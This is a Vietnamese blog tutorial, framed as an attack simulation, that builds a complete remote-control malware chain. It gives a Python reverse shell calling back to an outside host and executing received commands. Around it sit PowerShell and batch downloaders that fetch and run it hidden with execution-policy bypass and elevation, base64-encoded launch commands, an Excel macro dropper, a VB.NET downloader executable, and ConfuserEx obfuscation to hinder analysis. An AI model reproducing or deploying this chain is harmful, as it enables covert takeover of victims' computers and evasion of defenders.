Tcp Connection và tùy chỉnh giả lập

Giả Lập Tình Huống Tấn Công

1. Viết Tcp Connection đơn giản với Python

tcpServer.pytcpClient
import socket
def connect():
    s = socket.socket()
    s.bind((“0.0.0.0”,12345))
    s.listen(1)
    conn , addr = s.accept()
    print(‘[+] We got a connection from’, addr)
    while True:
        command = input(“Shell> “)
        if ‘terminate’ in command:
            conn.send(‘terminate’.encode())
            conn.close()
            break
        else:
            try:
                conn.send(command.encode())
                print(conn.recv(4096).decode())
            except ValueError as ve:
                print(ve)
connect()
import socket
import subprocess
 
def handler(command):
    cmd = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    return cmd.stdout.read()+’\n’.encode()+cmd.stderr.read()
def connect():
    s = socket.socket()
    s.connect((“sample.syvtit.com”,12345))
    while True:
        command = s.recv(4096)
        if ‘terminate’ in command.decode():
            s.close()
            break
        else:
            result=handler(command)
            s.send(result)
connect()
Với đoạn code này start tcpServer.py trên 1 máy server. Sau đó bất kì Client nào chạy file tcpClient.py thì từ server có thể thực thi lệnh trên Client (chiếm quyền điều khiển).

2. Tùy chỉnh thêm vào powershell

Viết thêm file powershell để khi Client chạy file Powershell sẽ tự động download file tcpClient.py và run file này trên máy Client.

$ProcName = “tcpClient.py”

$WebFile = “http://sample.syvtit.com:8000/$ProcName”

Clear-Host

(New-Object System.Net.WebClient).DownloadFile($WebFile,”$env:APPDATA\$ProcName”) Start-Process -filepath “$env:APPDATA\$ProcName” -WindowStyle Hidden

3. Tùy chỉnh thêm với Batch

Viết thêm file bat để khi Client chạy file bat này sẽ tự động download và chạy file powershell trên.

@Echo Off

set file=tcpClientGcp.ps1

set link=http://sample.syvtit.com:8000/%file%

set locate=%APPDATA%\%file%

powershell -Command “& {(New-Object System.Net.Webclient).DownloadFile(‘%link%’,’%locate%’);}” PowerShell -NoProfile -ExecutionPolicy Bypass -Command “& {Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File “”%locate%””‘ -Verb RunAs}”

Hoặc code sau (mình sẽ sử dụng thêm code này để thực hiện tiếp encode và inject vào file excel:

powershell -Command “& {(New-Object System.Net.Webclient).DownloadFile(‘http://sample.syvtit.com:8000/tcpClientGcp.ps1′,’%APPDATA%\tcpClientGcp.ps1’);}” PowerShell -NoProfile -ExecutionPolicy Bypass -Command “& {Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File “”%APPDATA%\tcpClientGcp.ps1″”‘ -Verb RunAs}”

Encode (sử dụng ToBase64String để encode trong powershell)

$Command1 = ‘& {(New-Object System.Net.Webclient).DownloadFile(”http://sample.syvtit.com:8000/tcpClientGcp.ps1”,”tcpClientGcp.ps1”);}’

$Command2 = ‘& {Start-Process PowerShell -ArgumentList ”-NoProfile -ExecutionPolicy Bypass -File “”tcpClientGcp.ps1″”” -Verb RunAs}’

$ENCODED2 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Command2))

echo $ENCODED1

echo $ENCODED2

File sau Encode

powershell -E JgAgAHsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAzADUALgAxADkAMwAuADEANwA0AC4AMQA2ADMAOgA4ADAAMAAwAC8AdABjAHAAQwBsAGkAZQBuAHQARwBjAHAALgBwAHMAMQAnACwAJwB0AGMAcABDAGwAaQBlAG4AdABHAGMAcAAuAHAAcwAxACcAKQA7AH0A

PowerShell -NoProfile -ExecutionPolicy Bypass -E JgAgAHsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBGAGkAbABlACAAIgAiAHQAYwBwAEMAbABpAGUAbgB0AEcAYwBwAC4AcABzADEAIgAiACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAfQA=

4. Tùy chỉnh thêm vào Excel

B1: Tạo mới 1 file excel

B2: Thêm nội dung bất kỳ

B3: Chọn Developer > Visual Basic

B4: Thêm đoạn code sau vào (Sử dụng mẫu code đã được encode như phần Bat)

B5: Lưu file excel thành file .xlsm

5. Tùy chỉnh thêm với Visual Basic

Việc sử dụng Visual Basic ta có thể build thành file exe để thực thi file exe này thực hiện tải và chạy file powershell trên.

B1: Sử dụng Visual Studio 2019 > Chọn new project

B2: Sử dụng code sau

Module Module1

    Sub Main()

        Dim link As String = “http://sample.syvtit.com:8000/tcpClientGcp.ps1”

        Dim locate As String = Environment.GetEnvironmentVariable(“Appdata”) & “Microsoft\tcpClientGcp.ps1”

        Dim exec As String

        If My.Computer.FileSystem.FileExists(locate) Then

            My.Computer.FileSystem.DeleteFile(locate)

        End If

        My.Computer.Network.DownloadFile(link, locate)

        exec = “PowerShell -NoProfile -ExecutionPolicy Bypass -Command ” & Chr(34) & Chr(38) & Chr(123) & “Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File ” & Chr(34) & Chr(34) & locate & Chr(34) & Chr(34) & “‘ -Verb RunAs}” & Chr(34)

        Shell(exec, 0)

    End Sub End Module

B3: Chọn Build > Build (Ctrl+B)

6. Tùy chỉnh thêm với ConfuserEx

Sử dụng tool này để build lại project Visual Basic trên nhằm che giấu đoạn mã hạn chế việc dịch ngược từ file exe thành đoạn code.

B1: Chạy file ConfuserEx

B2: kéo thả file exe sau khi build ở trên vào

B3: Chọn Settings > Global Setting > chọn “+”

B4: Chọn vào true > chọn Edit

B5: Chọn Done

B6: Chọn Protect! > Protect!

Leave a Reply

Your email address will not be published. Required fields are marked *